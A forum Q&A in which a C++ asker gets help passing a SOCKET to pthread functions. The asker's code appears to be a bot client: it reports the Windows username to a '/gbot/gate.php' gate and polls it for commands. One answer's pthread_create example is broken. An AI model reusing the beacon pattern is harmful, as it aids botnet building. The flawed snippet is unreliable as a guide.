0
votes
    void* sendFirstReq(SOCKET Socket){
        char buffer[10000];
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "\r\n\r\n";
        }
        else
            mybuf += "linux\r\n\r\n";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
}

void* sendSecReq(SOCKET Socket){
    char buffer[10000];
    string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
    send(Socket, mybuf.c_str(), mybuf.length(), 0);
    recv(Socket, buffer, 10000, 0);
    cout << buffer;
}

while(true)
    {
        pthread_t t1;
        pthread_t t2;
        pthread_create(&t1, NULL, &sendFirstReq, NULL);
        pthread_create(&t1, NULL, &sendSecReq, NULL);
        _sleep(5000);
    }

This is a piece of code from my project. I want to make multithreading, but I get bunch of errors. First of all, the void* function must get a void* arg, so I can I send SOCKET throgh? And another error is:

initializing argument 3 of `int pthread_create(pthread_t*, pthread_attr_t_* const*, void*()(void), void*)'

And I don't know how to fix it, thanks for your help.

2

2 Answers

1
votes

When you implement multithreading, please make sure to send and receive on different sockets! That said, the best way to pass a void* argument is a structure, but I believe that you can send different datatypes in void*, just be sure to slice it

Example:

void* sendFirstReq(void* arg);
SOCKET socket;
pthread_t a;
pthread_create(&a,NULL,sendFirstReq(),(void*)&socket);

and in sendFirstReq(), slice the argument (SOCKET*)arg;

See this :: Passing parameter to pthread

1
votes

It would help if you split the socket part and the multithreading part, so you can handle them separately. The problem with the multithreading is that you have to use a function taking and returning a void pointer for POSIX threads. There are two ways to pass other things through this. The first way is to allocate a structure and pass a pointer to it to pthread_create:

void* thread_function(void* p)
{
    mydata* ps = static_cast<mydata*>(p);
    ...
}

mydata s = ...;
pthread_create(..., thread_function, &s);

The thing to watch out for here is that s has a scope, and that you must make sure that it stays alive while the thread is using it. This might require dynamic allocation using new, which in turn requires care in order to not cause memory leaks. Another way which works for small integers is to pass them directly as pointer:

void* thread_function(void* p)
{
    int x = reinterpret_cast<int>(p);
    ...
}

int x = ...;
assert(sizeof x <= sizeof (void*));
pthread_create(..., thread_function, reinterpret_cast<void*>(x));

Since a SOCKET is just an integer not larger than a pointer, you should be able to do that, which is the simplest working way probably.